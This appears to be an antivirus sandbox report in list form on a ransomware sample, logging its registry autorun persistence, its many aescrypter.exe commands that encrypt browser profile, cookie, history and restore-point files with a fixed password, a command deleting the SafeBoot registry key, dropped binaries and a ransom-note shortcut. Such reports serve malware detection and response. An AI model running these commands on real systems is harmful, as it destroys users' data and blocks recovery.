Техническая информация
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = 'C:\ProgramData\local\svchost.exe'
- [<HKLM>\SYSTEM\ControlSet001\Services\WdiServiceSysHost] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\netprofms] 'Start' = '00000002'
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\eBay.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\eBay.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\google.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\google.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\bing.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\bing.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\res\html\folder.png.aes" "%PROGRAM_FILES%\FireFox\res\html\folder.png" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\amazondotcom.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\amazondotcom.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\Filters.xml.aes" "%PROGRAM_FILES%\Movie Maker\Shared\Filters.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\news.png.aes" "%PROGRAM_FILES%\Movie Maker\Shared\news.png" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\Empty.txt.aes" "%PROGRAM_FILES%\Movie Maker\Shared\Empty.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\wikipedia.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\wikipedia.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\searchplugins\yahoo.xml.aes" "%PROGRAM_FILES%\FireFox\searchplugins\yahoo.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\FTP\FtpCmds_rus.txt.aes" "C:\Far2\Plugins\FTP\FtpCmds_rus.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\FTP\Notes.txt.aes" "C:\Far2\Plugins\FTP\Notes.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\FTP\FtpCmds.txt.aes" "C:\Far2\Plugins\FTP\FtpCmds.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\ExtSearch\doc\RUS_NEWS.TXT.aes" "C:\Far2\Plugins\ExtSearch\doc\RUS_NEWS.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\ExtSearch\doc\RUS_READ.TXT.aes" "C:\Far2\Plugins\ExtSearch\doc\RUS_READ.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\preview.png.aes" "%PROGRAM_FILES%\FireFox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\preview.png" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\README.txt.aes" "%PROGRAM_FILES%\FireFox\README.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\icon.png.aes" "%PROGRAM_FILES%\FireFox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\icon.png" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\FTP\Notes_rus.txt.aes" "C:\Far2\Plugins\FTP\Notes_rus.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\FireFox\blocklist.xml.aes" "%PROGRAM_FILES%\FireFox\blocklist.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\paint.png.aes" "%PROGRAM_FILES%\Movie Maker\Shared\paint.png" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\drivetable.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\drivetable.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\ComDb.Dat.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\ComDb.Dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP13\drivetable.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP13\drivetable.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\domain.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\domain.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\Repository\FS\INDEX.BTR.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\Repository\FS\INDEX.BTR" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\domain.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\domain.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\Repository\FS\INDEX.BTR.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\Repository\FS\INDEX.BTR" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\ComDb.Dat.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\ComDb.Dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\domain.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\domain.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\Repository\FS\INDEX.BTR.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\Repository\FS\INDEX.BTR" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\MSN\MSNCoreFiles\Install\cinfo.xml.aes" "%PROGRAM_FILES%\MSN\MSNCoreFiles\Install\cinfo.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\MSN\MSNCoreFiles\Install\xfp.xml.aes" "%PROGRAM_FILES%\MSN\MSNCoreFiles\Install\xfp.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\Sample2.jpg.aes" "%PROGRAM_FILES%\Movie Maker\Shared\Sample2.jpg" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\Profiles\Blank.txt.aes" "%PROGRAM_FILES%\Movie Maker\Shared\Profiles\Blank.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Movie Maker\Shared\Sample1.jpg.aes" "%PROGRAM_FILES%\Movie Maker\Shared\Sample1.jpg" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\drivetable.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\drivetable.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\ComDb.Dat.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\ComDb.Dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt.aes" "C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%PROGRAM_FILES%\Outlook Express\msoe.txt.aes" "%PROGRAM_FILES%\Outlook Express\msoe.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' <Служебный элемент>
- 'C:\ProgramData\local\aescrypter.exe' a "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\pluginreg.dat.aes" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\pluginreg.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\secmod.db.aes" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\secmod.db" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\key3.db.aes" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\key3.db" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat.aes" "C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\cert8.db.aes" "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\cert8.db" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%HOMEPATH%\Local Settings\History\History.IE5\MSHist012011111020111111\index.dat.aes" "%HOMEPATH%\Local Settings\History\History.IE5\MSHist012011111020111111\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Addons\README.TXT.aes" "C:\Far2\Addons\README.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%HOMEPATH%\Local Settings\History\History.IE5\index.dat.aes" "%HOMEPATH%\Local Settings\History\History.IE5\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "%HOMEPATH%\Cookies\index.dat.aes" "%HOMEPATH%\Cookies\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "<LS_APPDATA>\GDIPFONTCACHEV1.DAT.aes" "<LS_APPDATA>\GDIPFONTCACHEV1.DAT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- '<SYSTEM32>\ucsvcsh.exe' -s
- '<SYSTEM32>\ucsvcsh.exe'
- '<SYSTEM32>\dcomcnfgui.exe' -s
- '<SYSTEM32>\dcomcnfgui.exe' -i
- '<SYSTEM32>\ucsvcsh.exe' -i
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Documents and Settings\LocalService\Cookies\index.dat.aes" "C:\Documents and Settings\LocalService\Cookies\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Documents and Settings\LocalService\Local Settings\Application Data\FontCache3.0.0.0.dat.aes" "C:\Documents and Settings\LocalService\Local Settings\Application Data\FontCache3.0.0.0.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Documents and Settings\Default User\Local Settings\History\History.IE5\index.dat.aes" "C:\Documents and Settings\Default User\Local Settings\History\History.IE5\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- '<SYSTEM32>\dcomcnfgui.exe'
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Documents and Settings\Default User\Cookies\index.dat.aes" "C:\Documents and Settings\Default User\Cookies\index.dat" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\Arc.Support.txt.aes" "C:\Far2\Documentation\eng\Arc.Support.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\Colorer\hrc\changes.txt.aes" "C:\Far2\Plugins\Colorer\hrc\changes.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\Colorer\hrd\catalog-console.xml.aes" "C:\Far2\Plugins\Colorer\hrd\catalog-console.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\Colorer\catalog.xml.aes" "C:\Far2\Plugins\Colorer\catalog.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\TechInfo.txt.aes" "C:\Far2\Documentation\rus\TechInfo.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\7-Zip\far7z.txt.aes" "C:\Far2\Plugins\7-Zip\far7z.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\ExtSearch\doc\ENG_READ.TXT.aes" "C:\Far2\Plugins\ExtSearch\doc\ENG_READ.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\ExtSearch\doc\REGEXPS.TXT.aes" "C:\Far2\Plugins\ExtSearch\doc\REGEXPS.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\ExtSearch\doc\ENG_NEWS.TXT.aes" "C:\Far2\Plugins\ExtSearch\doc\ENG_NEWS.TXT" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\Colorer\hrd\catalog-rgb.xml.aes" "C:\Far2\Plugins\Colorer\hrd\catalog-rgb.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Plugins\Colorer\hrd\catalog-text.xml.aes" "C:\Far2\Plugins\Colorer\hrd\catalog-text.xml" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\Plugins.Review.txt.aes" "C:\Far2\Documentation\eng\Plugins.Review.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\TechInfo.txt.aes" "C:\Far2\Documentation\eng\TechInfo.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\Plugins.Install.txt.aes" "C:\Far2\Documentation\eng\Plugins.Install.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\Bug.Report.txt.aes" "C:\Far2\Documentation\eng\Bug.Report.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\eng\Far.FAQ.txt.aes" "C:\Far2\Documentation\eng\Far.FAQ.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\Plugins.Install.txt.aes" "C:\Far2\Documentation\rus\Plugins.Install.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\Plugins.Review.txt.aes" "C:\Far2\Documentation\rus\Plugins.Review.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\Far.FAQ.txt.aes" "C:\Far2\Documentation\rus\Far.FAQ.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\Arc.Support.txt.aes" "C:\Far2\Documentation\rus\Arc.Support.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- 'C:\ProgramData\local\aescrypter.exe' a "C:\Far2\Documentation\rus\Bug.Report.txt.aes" "C:\Far2\Documentation\rus\Bug.Report.txt" -ep2 -hp1a2vn57b348741t92451sst0a391ba72 -m0 -y
- '<SYSTEM32>\reg.exe' delete HKLM\System\CurrentControlSet\Control\SafeBoot /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "C:\ProgramData\local\svchost.exe" /f
- '<SYSTEM32>\ping.exe' -n 1 -w 1000 11.11.11.11 >nul
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\domain.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\Repository\FS\INDEX.BTR.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP13\drivetable.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\drivetable.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP12\snapshot\ComDb.Dat.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\drivetable.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\ComDb.Dat.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\domain.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP15\snapshot\Repository\FS\INDEX.BTR.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\ComDb.Dat.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\domain.txt.aes
- C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\RP14\snapshot\Repository\FS\INDEX.BTR.aes
- <SYSTEM32>\tcpsvcss.exe
- <SYSTEM32>\tracerpts.exe
- C:\ProgramData\local\vpkswnhisp.dll
- <SYSTEM32>\csrsstub.exe
- <SYSTEM32>\ucsvcsh.exe
- <SYSTEM32>\dcomcnfgui.exe
- C:\ProgramData\local\svchost.exe
- C:\how to decrypt aes files.lnk
- <SYSTEM32>\wcmtstcsys.sss
- C:\ProgramData\local\undxkpwvlk.dll
- C:\decrypt\decrypt.exe
- C:\ProgramData\local\aescrypter.exe
- %ALLUSERSPROFILE%\Desktop\how to decrypt aes files.lnk
- C:\ProgramData\local\aescrypter.exe
- C:\decrypt\decrypt.exe
- C:\ProgramData\local\svchost.exe
- %WINDIR%\pchealth\helpctr\Config\Cache\Professional_32_1033.dat.bak
- %WINDIR%\REGLOCS.OLD
- <SYSTEM32>\config\systemprofile\Application Data\Microsoft\Internet Explorer\brndlog.bak
- C:\Documents and Settings\LocalService\Cookies\index.dat.aes
- C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat.aes
- %WINDIR%\imsins.BAK
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'